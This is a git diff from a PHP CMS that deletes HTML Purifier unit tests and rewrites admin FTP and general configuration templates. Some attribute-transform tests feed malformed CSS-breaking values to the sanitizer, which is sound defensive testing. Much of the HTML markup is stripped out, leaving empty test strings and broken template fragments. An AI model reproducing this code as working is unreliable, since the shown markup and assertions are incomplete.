+++ /dev/null @@ -1,27 +0,0 @@ -config = HTMLPurifier_Config::createDefault(); - $this->context = new HTMLPurifier_Context(); - } - - // cannot be used for accumulator - function assertDef($string, $expect = true) { - // $expect can be a string or bool - $result = $this->def->validate($string, $this->config, $this->context); - if ($expect === true) { - $this->assertIdentical($string, $result); - } else { - $this->assertIdentical($expect, $result); - } - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php deleted file mode 100644 index d7466e37d..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrDefTest.php +++ /dev/null @@ -1,32 +0,0 @@ -assertIdentical('', $def->parseCDATA('')); - $this->assertIdentical('', $def->parseCDATA("\t\n\r \t\t")); - $this->assertIdentical('foo', $def->parseCDATA("\t\n\r foo\t\t")); - $this->assertIdentical('translate to space', $def->parseCDATA("translate\nto\tspace")); - - } - - function test_make() { - - $def = new HTMLPurifier_AttrDefTestable(); - $def2 = $def->make(''); - $this->assertIdentical($def, $def2); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php deleted file mode 100644 index 0730ab4bc..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BackgroundTest.php +++ /dev/null @@ -1,40 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Background(); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testBasicTransform() { - $this->assertResult( - array('background' => 'logo.png'), - array('style' => 'background-image:url(logo.png);') - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('background' => 'logo.png', 'style' => 'font-weight:bold'), - array('style' => 'background-image:url(logo.png);font-weight:bold') - ); - } - - function testLenientTreatmentOfInvalidInput() { - // notice that we rely on the CSS validator later to fix this invalid - // stuff - $this->assertResult( - array('background' => 'logo.png);foo:('), - array('style' => 'background-image:url(logo.png);foo:();') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php deleted file mode 100644 index cdf6f8a9b..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BdoDirTest.php +++ /dev/null @@ -1,30 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_BdoDir(); - } - - function testAddDefaultDir() { - $this->assertResult( array(), array('dir' => 'ltr') ); - } - - function testPreserveExistingDir() { - $this->assertResult( array('dir' => 'rtl') ); - } - - function testAlternateDefault() { - $this->config->set('Attr.DefaultTextDir', 'rtl'); - $this->assertResult( - array(), - array('dir' => 'rtl') - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php deleted file mode 100644 index 13567b74e..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BgColorTest.php +++ /dev/null @@ -1,44 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_BgColor(); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testBasicTransform() { - $this->assertResult( - array('bgcolor' => '#000000'), - array('style' => 'background-color:#000000;') - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('bgcolor' => '#000000', 'style' => 'font-weight:bold'), - array('style' => 'background-color:#000000;font-weight:bold') - ); - } - - function testLenientTreatmentOfInvalidInput() { - // this may change when we natively support the datatype and - // validate its contents before forwarding it on - $this->assertResult( - array('bgcolor' => '#F00'), - array('style' => 'background-color:#F00;') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php deleted file mode 100644 index 73f9d6b86..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BoolToCSSTest.php +++ /dev/null @@ -1,38 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_BoolToCSS('foo', 'bar:3in;'); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testBasicTransform() { - $this->assertResult( - array('foo' => 'foo'), - array('style' => 'bar:3in;') - ); - } - - function testIgnoreValueOfBooleanAttribute() { - $this->assertResult( - array('foo' => 'no'), - array('style' => 'bar:3in;') - ); - } - - function testPrependCSS() { - $this->assertResult( - array('foo' => 'foo', 'style' => 'background-color:#F00;'), - array('style' => 'bar:3in;background-color:#F00;') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php deleted file mode 100644 index d10aa28e6..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/BorderTest.php +++ /dev/null @@ -1,38 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Border(); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testBasicTransform() { - $this->assertResult( - array('border' => '1'), - array('style' => 'border:1px solid;') - ); - } - - function testLenientTreatmentOfInvalidInput() { - $this->assertResult( - array('border' => '10%'), - array('style' => 'border:10%px solid;') - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('border' => '23', 'style' => 'font-weight:bold;'), - array('style' => 'border:23px solid;font-weight:bold;') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php deleted file mode 100644 index f0381fe88..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/EnumToCSSTest.php +++ /dev/null @@ -1,73 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'left' => 'text-align:left;', - 'right' => 'text-align:right;' - )); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testPreserveArraysWithoutInterestingAttributes() { - $this->assertResult( array('style' => 'font-weight:bold;') ); - } - - function testConvertAlignLeft() { - $this->assertResult( - array('align' => 'left'), - array('style' => 'text-align:left;') - ); - } - - function testConvertAlignRight() { - $this->assertResult( - array('align' => 'right'), - array('style' => 'text-align:right;') - ); - } - - function testRemoveInvalidAlign() { - $this->assertResult( - array('align' => 'invalid'), - array() - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('align' => 'left', 'style' => 'font-weight:bold;'), - array('style' => 'text-align:left;font-weight:bold;') - ); - - } - - function testCaseInsensitive() { - $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'right' => 'text-align:right;' - )); - $this->assertResult( - array('align' => 'RIGHT'), - array('style' => 'text-align:right;') - ); - } - - function testCaseSensitive() { - $this->obj = new HTMLPurifier_AttrTransform_EnumToCSS('align', array( - 'right' => 'text-align:right;' - ), true); - $this->assertResult( - array('align' => 'RIGHT'), - array() - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php deleted file mode 100644 index 99f0a03e9..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgRequiredTest.php +++ /dev/null @@ -1,55 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_ImgRequired(); - } - - function testAddMissingAttr() { - $this->config->set('Core.RemoveInvalidImg', false); - $this->assertResult( - array(), - array('src' => '', 'alt' => 'Invalid image') - ); - } - - function testAlternateDefaults() { - $this->config->set('Attr.DefaultInvalidImage', 'blank.png'); - $this->config->set('Attr.DefaultInvalidImageAlt', 'Pawned!'); - $this->config->set('Attr.DefaultImageAlt', 'not pawned'); - $this->config->set('Core.RemoveInvalidImg', false); - $this->assertResult( - array(), - array('src' => 'blank.png', 'alt' => 'Pawned!') - ); - } - - function testGenerateAlt() { - $this->assertResult( - array('src' => '/path/to/foobar.png'), - array('src' => '/path/to/foobar.png', 'alt' => 'foobar.png') - ); - } - - function testAddDefaultSrc() { - $this->config->set('Core.RemoveInvalidImg', false); - $this->assertResult( - array('alt' => 'intrigue'), - array('alt' => 'intrigue', 'src' => '') - ); - } - - function testAddDefaultAlt() { - $this->config->set('Attr.DefaultImageAlt', 'default'); - $this->assertResult( - array('src' => ''), - array('src' => '', 'alt' => 'default') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php deleted file mode 100644 index 42e8738e4..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/ImgSpaceTest.php +++ /dev/null @@ -1,55 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_ImgSpace('vspace'); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testVerticalBasicUsage() { - $this->assertResult( - array('vspace' => '1'), - array('style' => 'margin-top:1px;margin-bottom:1px;') - ); - } - - function testLenientHandlingOfInvalidInput() { - $this->assertResult( - array('vspace' => '10%'), - array('style' => 'margin-top:10%px;margin-bottom:10%px;') - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('vspace' => '23', 'style' => 'font-weight:bold;'), - array('style' => 'margin-top:23px;margin-bottom:23px;font-weight:bold;') - ); - } - - function testHorizontalBasicUsage() { - $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('hspace'); - $this->assertResult( - array('hspace' => '1'), - array('style' => 'margin-left:1px;margin-right:1px;') - ); - } - - function testInvalidConstructionParameter() { - $this->expectError('ispace is not valid space attribute'); - $this->obj = new HTMLPurifier_AttrTransform_ImgSpace('ispace'); - $this->assertResult( - array('ispace' => '1'), - array() - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php deleted file mode 100644 index 2603ff1be..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/InputTest.php +++ /dev/null @@ -1,94 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Input(); - } - - function testEmptyInput() { - $this->assertResult(array()); - } - - function testInvalidCheckedWithEmpty() { - $this->assertResult(array('checked' => 'checked'), array()); - } - - function testInvalidCheckedWithPassword() { - $this->assertResult(array( - 'checked' => 'checked', - 'type' => 'password' - ), array( - 'type' => 'password' - )); - } - - function testValidCheckedWithUcCheckbox() { - $this->assertResult(array( - 'checked' => 'checked', - 'type' => 'CHECKBOX', - 'value' => 'bar', - )); - } - - function testInvalidMaxlength() { - $this->assertResult(array( - 'maxlength' => '10', - 'type' => 'checkbox', - 'value' => 'foo', - ), array( - 'type' => 'checkbox', - 'value' => 'foo', - )); - } - - function testValidMaxLength() { - $this->assertResult(array( - 'maxlength' => '10', - )); - } - - // these two are really bad test-cases - - function testSizeWithCheckbox() { - $this->assertResult(array( - 'type' => 'checkbox', - 'value' => 'foo', - 'size' => '100px', - ), array( - 'type' => 'checkbox', - 'value' => 'foo', - 'size' => '100', - )); - } - - function testSizeWithText() { - $this->assertResult(array( - 'type' => 'password', - 'size' => '100px', // spurious value, to indicate no validation takes place - ), array( - 'type' => 'password', - 'size' => '100px', - )); - } - - function testInvalidSrc() { - $this->assertResult(array( - 'src' => 'img.png', - ), array()); - } - - function testMissingValue() { - $this->assertResult(array( - 'type' => 'checkbox', - ), array( - 'type' => 'checkbox', - 'value' => '', - )); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php deleted file mode 100644 index 960ad20a0..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/LangTest.php +++ /dev/null @@ -1,46 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Lang(); - } - - function testEmptyInput() { - $this->assertResult(array()); - } - - function testCopyLangToXMLLang() { - $this->assertResult( - array('lang' => 'en'), - array('lang' => 'en', 'xml:lang' => 'en') - ); - } - - function testPreserveAttributes() { - $this->assertResult( - array('src' => 'vert.png', 'lang' => 'fr'), - array('src' => 'vert.png', 'lang' => 'fr', 'xml:lang' => 'fr') - ); - } - - function testCopyXMLLangToLang() { - $this->assertResult( - array('xml:lang' => 'en'), - array('xml:lang' => 'en', 'lang' => 'en') - ); - } - - function testXMLLangOverridesLang() { - $this->assertResult( - array('lang' => 'fr', 'xml:lang' => 'de'), - array('lang' => 'de', 'xml:lang' => 'de') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php deleted file mode 100644 index 3fbaa0ccf..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/LengthTest.php +++ /dev/null @@ -1,45 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Length('width'); - } - - function testEmptyInput() { - $this->assertResult( array() ); - } - - function testTransformPixel() { - $this->assertResult( - array('width' => '10'), - array('style' => 'width:10px;') - ); - } - - function testTransformPercentage() { - $this->assertResult( - array('width' => '10%'), - array('style' => 'width:10%;') - ); - } - - function testPrependNewCSS() { - $this->assertResult( - array('width' => '10%', 'style' => 'font-weight:bold'), - array('style' => 'width:10%;font-weight:bold') - ); - } - - function testLenientTreatmentOfInvalidInput() { - $this->assertResult( - array('width' => 'asdf'), - array('style' => 'width:asdf;') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php deleted file mode 100644 index bae4a8d03..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameSyncTest.php +++ /dev/null @@ -1,40 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_NameSync(); - $this->accumulator = new HTMLPurifier_IDAccumulator(); - $this->context->register('IDAccumulator', $this->accumulator); - $this->config->set('Attr.EnableID', true); - } - - function testEmpty() { - $this->assertResult( array() ); - } - - function testAllowSame() { - $this->assertResult( - array('name' => 'free', 'id' => 'free') - ); - } - - function testAllowDifferent() { - $this->assertResult( - array('name' => 'tryit', 'id' => 'thisgood') - ); - } - - function testCheckName() { - $this->accumulator->add('notok'); - $this->assertResult( - array('name' => 'notok', 'id' => 'ok'), - array('id' => 'ok') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php deleted file mode 100644 index 10e121238..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransform/NameTest.php +++ /dev/null @@ -1,31 +0,0 @@ -obj = new HTMLPurifier_AttrTransform_Name(); - } - - function testEmpty() { - $this->assertResult( array() ); - } - - function testTransformNameToID() { - $this->assertResult( - array('name' => 'free'), - array('id' => 'free') - ); - } - - function testExistingIDOverridesName() { - $this->assertResult( - array('name' => 'tryit', 'id' => 'tobad'), - array('id' => 'tobad') - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php deleted file mode 100644 index d43c0108f..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransformHarness.php +++ /dev/null @@ -1,13 +0,0 @@ -func = 'transform'; - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php deleted file mode 100644 index 71a788580..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTransformTest.php +++ /dev/null @@ -1,45 +0,0 @@ -prependCSS($attr, 'style:new;'); - $this->assertIdentical(array('style' => 'style:new;'), $attr); - - $attr = array('style' => 'style:original;'); - $t->prependCSS($attr, 'style:new;'); - $this->assertIdentical(array('style' => 'style:new;style:original;'), $attr); - - $attr = array('style' => 'style:original;', 'misc' => 'un-related'); - $t->prependCSS($attr, 'style:new;'); - $this->assertIdentical(array('style' => 'style:new;style:original;', 'misc' => 'un-related'), $attr); - - } - - function test_confiscateAttr() { - - $t = new HTMLPurifier_AttrTransformTestable(); - - $attr = array('flavor' => 'sweet'); - $this->assertIdentical('sweet', $t->confiscateAttr($attr, 'flavor')); - $this->assertIdentical(array(), $attr); - - $attr = array('flavor' => 'sweet'); - $this->assertIdentical(null, $t->confiscateAttr($attr, 'color')); - $this->assertIdentical(array('flavor' => 'sweet'), $attr); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php deleted file mode 100644 index d1ae43709..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrTypesTest.php +++ /dev/null @@ -1,26 +0,0 @@ -assertIdentical( - $types->get('CDATA'), - new HTMLPurifier_AttrDef_Text() - ); - - $this->expectError('Cannot retrieve undefined attribute type foobar'); - $types->get('foobar'); - - $this->assertIdentical( - $types->get('Enum#foo,bar'), - new HTMLPurifier_AttrDef_Enum(array('foo', 'bar')) - ); - - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php deleted file mode 100644 index 307d3292b..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/AttrValidator_ErrorsTest.php +++ /dev/null @@ -1,66 +0,0 @@ -language = HTMLPurifier_LanguageFactory::instance()->create($config, $this->context); - $this->context->register('Locale', $this->language); - $this->collector = new HTMLPurifier_ErrorCollector($this->context); - $this->context->register('Generator', new HTMLPurifier_Generator($config, $this->context)); - } - - protected function invoke($input) { - $validator = new HTMLPurifier_AttrValidator(); - $validator->validateToken($input, $this->config, $this->context); - } - - function testAttributesTransformedGlobalPre() { - $def = $this->config->getHTMLDefinition(true); - generate_mock_once('HTMLPurifier_AttrTransform'); - $transform = new HTMLPurifier_AttrTransformMock(); - $input = array('original' => 'value'); - $output = array('class' => 'value'); // must be valid - $transform->setReturnValue('transform', $output, array($input, new AnythingExpectation(), new AnythingExpectation())); - $def->info_attr_transform_pre[] = $transform; - - $token = new HTMLPurifier_Token_Start('span', $input, 1); - $this->invoke($token); - - $result = $this->collector->getRaw(); - $expect = array( - array(1, E_NOTICE, 'Attributes on transformed from original to class', array()), - ); - $this->assertIdentical($result, $expect); - } - - function testAttributesTransformedLocalPre() { - $this->config->set('HTML.TidyLevel', 'heavy'); - $input = array('align' => 'right'); - $output = array('style' => 'text-align:right;'); - $token = new HTMLPurifier_Token_Start('p', $input, 1); - $this->invoke($token); - $result = $this->collector->getRaw(); - $expect = array( - array(1, E_NOTICE, 'Attributes on

    transformed from align to style', array()), - ); - $this->assertIdentical($result, $expect); - } - - // too lazy to check for global post and global pre - - function testAttributeRemoved() { - $token = new HTMLPurifier_Token_Start('p', array('foobar' => 'right'), 1); - $this->invoke($token); - $result = $this->collector->getRaw(); - $expect = array( - array(1, E_ERROR, 'foobar attribute on

    removed', array()), - ); - $this->assertIdentical($result, $expect); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php deleted file mode 100644 index 82493f40e..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/ChameleonTest.php +++ /dev/null @@ -1,40 +0,0 @@ -obj = new HTMLPurifier_ChildDef_Chameleon( - 'b | i', // allowed only when in inline context - 'b | i | div' // allowed only when in block context - ); - $this->context->register('IsInline', $this->isInline); - } - - function testInlineAlwaysAllowed() { - $this->isInline = true; - $this->assertResult( - 'Allowed.' - ); - } - - function testBlockNotAllowedInInline() { - $this->isInline = true; - $this->assertResult( - '

    Not allowed.
    ', '' - ); - } - - function testBlockAllowedInNonInline() { - $this->isInline = false; - $this->assertResult( - '
    Allowed.
    ' - ); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php deleted file mode 100644 index 5b138a3c1..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/CustomTest.php +++ /dev/null @@ -1,89 +0,0 @@ -obj = new HTMLPurifier_ChildDef_Custom('(a,b?,c*,d+,(a,b)*)'); - - $this->assertEqual($this->obj->elements, array('a' => true, - 'b' => true, 'c' => true, 'd' => true)); - - $this->assertResult('', false); - $this->assertResult('', false); - - $this->assertResult(''); - $this->assertResult('Dobfoo'. - 'foo'); - - } - - function testNesting() { - $this->obj = new HTMLPurifier_ChildDef_Custom('(a,b,(c|d))+'); - $this->assertEqual($this->obj->elements, array('a' => true, - 'b' => true, 'c' => true, 'd' => true)); - $this->assertResult('', false); - $this->assertResult(''); - $this->assertResult('', false); - } - - function testNestedEitherOr() { - $this->obj = new HTMLPurifier_ChildDef_Custom('b,(a|(c|d))+'); - $this->assertEqual($this->obj->elements, array('a' => true, - 'b' => true, 'c' => true, 'd' => true)); - $this->assertResult('', false); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult('', false); - } - - function testNestedQuantifier() { - $this->obj = new HTMLPurifier_ChildDef_Custom('(b,c+)*'); - $this->assertEqual($this->obj->elements, array('b' => true, 'c' => true)); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult('', false); - } - - function testEitherOr() { - - $this->obj = new HTMLPurifier_ChildDef_Custom('a|b'); - $this->assertEqual($this->obj->elements, array('a' => true, 'b' => true)); - $this->assertResult('', false); - $this->assertResult(''); - $this->assertResult(''); - $this->assertResult('', false); - - } - - function testCommafication() { - - $this->obj = new HTMLPurifier_ChildDef_Custom('a,b'); - $this->assertEqual($this->obj->elements, array('a' => true, 'b' => true)); - $this->assertResult(''); - $this->assertResult('', false); - - } - - function testPcdata() { - $this->obj = new HTMLPurifier_ChildDef_Custom('#PCDATA,a'); - $this->assertEqual($this->obj->elements, array('#PCDATA' => true, 'a' => true)); - $this->assertResult('foo'); - $this->assertResult('', false); - } - - function testWhitespace() { - $this->obj = new HTMLPurifier_ChildDef_Custom('a'); - $this->assertEqual($this->obj->elements, array('a' => true)); - $this->assertResult('foo', false); - $this->assertResult(''); - $this->assertResult(' '); - } - -} - -// vim: et sw=4 sts=4 diff --git a/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php b/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php deleted file mode 100644 index 02dcab0fb..000000000 --- a/classes/security/htmlpurifier/tests/HTMLPurifier/ChildDef/ListTest.php +++ /dev/null @@ -1,50 +0,0 @@ -obj = new HTMLPurifier_ChildDef_List(); - } - - function testEmptyInput() { - $this->assertResult('', false); - } - - function testSingleLi() { - $this->assertResult('
  • '); - } - - function testSomeLi() { - $this->assertResult('
  • asdf
  • '); - } - - function testIllegal() { - // XXX actually this never gets triggered in practice - $this->assertResult('
  • ', '
  • '); - } - - function testOlAtBeginning() { - $this->assertResult('
      ', '
      1. '); - } - - function testOlAtBeginningWithOtherJunk() { - $this->assertResult('
        1. ', '
          1. '); - } - - function testOlInMiddle() { - $this->assertResult('
          2. Foo
            1. Bar
            ', '
          3. Foo
            1. Bar
          4. '); - } - - function testMultipleOl() { - $this->assertResult('
              1. ', '
                  1. '); - } - - function testUlAtBeginning() { - $this->assertResult(' -

                    - - -

                    +
                    +
                    + +
                    +
                    + +
                    +
                    + + + +
                    +
                    +
                    +

                    {$lang->admin_menu_add}

                    - -
                    -
                    + diff --git a/modules/admin/tpl/config_ftp.html b/modules/admin/tpl/config_ftp.html index 0b8f3bf79..4208abd88 100644 --- a/modules/admin/tpl/config_ftp.html +++ b/modules/admin/tpl/config_ftp.html @@ -1,62 +1,126 @@ - -
                    -

                    {$XE_VALIDATOR_MESSAGE}

                    +
                    +

                    {$lang->menu_gnb_sub['adminConfigurationFtp']} {$lang->help}

                    -
                    +
                    +

                    {$XE_VALIDATOR_MESSAGE}

                    +
                    +

                    {$lang->detail_about_ftp_info}

                    + -
                    -

                    {$lang->menu_gnb_sub['adminConfigurationFtp']}

                    -
                      -
                    • -

                      [?]

                      -
                      -

                      {$lang->detail_about_ftp_info}

                      -
                      -

                      Default : 127.0.0.1

                      -
                    • -
                    • -

                      -

                      -
                    • -

                      -

                      {$lang->about_ftp_password}

                      -
                    • -
                    • -

                      -

                      Default : 21

                      -
                    • -
                    • -

                      -

                      - ftp_pasv == 'Y')-->checked="checked" /> - ftp_pasv != 'Y')-->checked="checked" /> -

                      -
                    • -
                    • -

                      -

                      - sftp == 'Y')-->checked="checked" disabled /> - sftp != 'Y')-->checked="checked" /> -

                      -
                    • -
                    • -

                      -

                      + + +

                      +

                      {$lang->subtitle_primary}

                      +
                      + +
                      + +
                      +
                      +
                      + +
                      + +

                      {$lang->about_ftp_password}

                      +
                      +
                      +
                    • -
                    -
                    -
                    - +

                    {$lang->msg_ftp_installed_realpath} : {_XE_PATH_}

                    +
                    +
                    + + +
                    +
                    - + + + diff --git a/modules/admin/tpl/config_general.html b/modules/admin/tpl/config_general.html index 5b20ba89d..9c7d6b2e7 100644 --- a/modules/admin/tpl/config_general.html +++ b/modules/admin/tpl/config_general.html @@ -1,256 +1,242 @@ - - - -
                    - - -

                    {$lang->menu_gnb_sub['adminConfigurationGeneral']}

                    -
                    -

                    {$lang->subtitle_primary}

                    -
                      -
                    • -

                      {$lang->about_start_module}

                      -
                      - - - {$lang->cmd_find} -
                      -
                      -

                      {$lang->select_site}

                      -
                      -
                      - - -
                      -
                      -
                      -
                        -
                      -
                      -
                      -
                      -

                      {$lang->select_module_type}

                      -
                      -
                        -
                      -
                      -
                      -
                      -

                      {$lang->select_module_instance}

                      -
                      - -
                      - -
                      -
                      -
                      -
                    • -
                    • -

                      {$lang->about_lang_select}

                      -

                      - - - - - - - checked="checked" /> - - - +

                      +

                      {$lang->menu_gnb_sub['adminConfigurationGeneral']} {$lang->help}

                      +
                      +
                      +

                      {$XE_VALIDATOR_MESSAGE}

                      +
                      +
                      +

                      {$lang->subtitle_primary}

                      + + + + +
                      + +
                      +
                      + +
                      + +
                      +
                      +
                      + +
                      + +
                      +
                      +
                      + +
                      + +
                      +
                      +
                      + +
                      + +
                      +
                      +
                      + +
                      + +
                      +
                      +
                      + +
                      + + +
                      +
                      +
                      + +
                      + + +
                      +
                      +
                      + +
                      + +
                      +
                      +
                      + +
                      +

                      + favicon + favicon Image

                      -
                    • -
                    • -

                      -

                      - -

                      -
                    • -
                    • -

                      -

                      - -

                      -
                    • -
                    • -

                      {$lang->about_question_mobile_view}

                      -

                      - checked="checked" /> - checked="checked" /> -

                      -
                    • -
                    • -

                      {$lang->about_thumbnail_type}

                      -

                      - checked="checked" /> - - checked="checked" /> - -

                      -
                    • -
                    • -

                      [?]

                      -

                      -

                      {$lang->detail_input_footer_script}

                      -
                      -

                      - -

                      -
                    • -
                    • -

                      {$lang->allow_use_favicon}

                      -

                      - favicon - favicon Image - {$lang->cmd_delete} -

                      -

                      {$lang->about_use_favicon}

                      -
                    • -
                    • -

                      {$lang->allow_use_mobile_icon}

                      -

                      + +

                      + + +

                      + + +

                      +
                      + {$lang->about_use_favicon} + + +
                      + +
                      +

                      Mobile Home Icon www - {$lang->cmd_delete}

                      -

                      {$lang->detail_use_mobile_icon}

                      -
                    • -
                    -
                    -
                    -

                    {$lang->subtitle_advanced}

                    -
                      -
                    • -

                      [?]

                      -
                      -

                      {$lang->detail_about_admin_ip_limit}

                      -
                      -

                      - - {$lang->local_ip_address} : {$IP}

                      -
                    • -
                    • -

                      [?]

                      -
                      -

                      {$lang->about_default_url}

                      -
                      -

                      -
                    • -
                    • -

                      [?]

                      -
                      -

                      {$lang->about_use_ssl}

                      -
                      -

                      - - checked="checked" /> - -

                      -
                    • -
                    • -

                      -

                      - -    - -

                      -
                    • -
                    • -

                      {$lang->about_cdn}

                      -

                      - checked="checked" /> - checked="checked" /> -

                      -
                    • -
                    • -

                      -

                      - checked="checked" /> - checked="checked" /> -

                      -
                    • -
                    • -

                      [?]

                      -
                      -

                      {$lang->about_sso}

                      -
                      -

                      - checked="checked" /> - checked="checked" /> -

                      -
                    • -
                    • -

                      [?]

                      -
                      -

                      {$lang->about_db_session}

                      -
                      -

                      - checked="checked" /> - checked="checked" /> -

                      -
                    • -
                    • -

                      [?]

                      -
                      -

                      {$lang->about_qmail_compatibility}

                      -
                      -

                      - checked="checked" /> - checked="checked" /> -

                      -
                    • -
                    • -

                      {$lang->about_html_dtd}

                      -

                      - checked="checked" /> - checked="checked" /> -

                      -
                    • -
                    -
                    -
                    - + +
                    + + +

                    + + +

                    +
